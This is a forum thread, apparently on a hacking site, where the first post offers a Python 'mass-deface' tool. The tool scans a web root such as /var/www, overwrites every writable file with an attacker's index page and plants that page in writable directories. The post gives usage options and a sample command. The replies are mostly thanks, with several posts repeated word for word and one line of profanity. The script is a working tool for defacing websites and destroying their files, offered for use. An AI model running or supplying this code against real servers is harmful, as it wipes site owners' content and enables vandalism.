Login Register






Mass-Deface Tool filter_list
Author
Message
Mass-Deface Tool #1
I've prepared a Python script that finds writable files and directories and copies an index page to them.

Usage:

Options:

-r, ROOT
Write the root directory you want to scan with its subfolders. If you don't use this option, it starts from where you run this script.

-o, OUTPUT
If you want to get an output, use this argument. You may use option below to specify that where you want output to be written, file or console.

-f, FILEOUTPUT
As I write before, specify if you use either file or console for output to be written. If you use -o option and don't use this option, the script uses console for output.

-s, SCAN
Types to scan. There're 2 type as file and folder. If you use "-i" option and:

use file with this option, the script overwrites the content of index file given to the all writable files.
use dir with this option, the script create a file that contains the content of index file given in writable directories.

You can use both of them at same time.

-i, INDEX
If you write your index page to the scanned files or directories, use this option with your index page path.

Usage Sample:
Code:
python mass.py -s file dir -o -f output.txt -i hc.htm -r /var/www

Code:
Code:
import os, argparse, sys parser = argparse.ArgumentParser() parser.add_argument('-r', dest='root', default='.') parser.add_argument('-o', dest="output", action='store_true', default=False) parser.add_argument('-s', dest='scan', nargs="+", choices=['file', 'dir'], required=True) parser.add_argument('-f', dest="outputFile", type=argparse.FileType('w'), default=sys.stdout) parser.add_argument('-i', dest='index', type=argparse.FileType('r'), default=False) args = parser.parse_args() writable = [os.path.join(root, path) for (root, dirs, files) in os.walk(args.root) for path in files+dirs if os.access(os.path.join(root, path), os.W_OK)] writableFiles = [file for file in writable if os.path.isfile(file)] writableDirs = [dir for dir in writable if os.path.isdir(dir)] indexSource = args.index.read() if 'file' in args.scan: if args.index: for file in writableFiles: print >> open(file, 'w+'), indexSource if args.output: print >> args.outputFile, "\n".join(writableFiles) if 'dir' in args.scan: if args.index: for dir in writableDirs: print >> open(os.path.join(dir, args.index.name), 'w+'), indexSource if args.output: print >> args.outputFile, "\n".join(writableDirs)

Reply

RE: Mass-Deface Tool #2
Wow.. there are so much new codes to learn.
Thanks mate.

Reply

RE: Mass-Deface Tool #3
The more writing, the more learning. Smile Thanks.

Reply

RE: Mass-Deface Tool #4
I saw this somewhere else, nevermind Thanks for share!
[Image: HAmi1ab.png]

Reply

RE: Mass-Deface Tool #5
It looks like Python is very useful for making tools. Thanks bro Smile
Fuck You.

Reply

RE: Mass-Deface Tool #6
It looks like Python is very useful for making tools. Thanks bro Smile
Fuck You.

Reply

RE: Mass-Deface Tool #7
It looks like Python is very useful for making tools. Thanks bro Smile
Fuck You.

Reply

RE: Mass-Deface Tool #8
(07-05-2013, 10:00 AM)xtam4 Wrote: I saw this somewhere else, nevermind Thanks for share!

Can you send me a PM with link where you saw?

Reply

RE: Mass-Deface Tool #9
(07-05-2013, 10:00 AM)xtam4 Wrote: I saw this somewhere else, nevermind Thanks for share!

Can you send me a PM with link where you saw?

Reply

RE: Mass-Deface Tool #10
(07-11-2013, 05:19 PM)ErsinKandemir Wrote:
(07-05-2013, 10:00 AM)xtam4 Wrote: I saw this somewhere else, nevermind Thanks for share!

Can you send me a PM with link where you saw?

I'm on many forums, i exactly don't know but i wont say the name i think i saw on because it would be In-direct advertising and i might get banned for that.
[Image: HAmi1ab.png]

Reply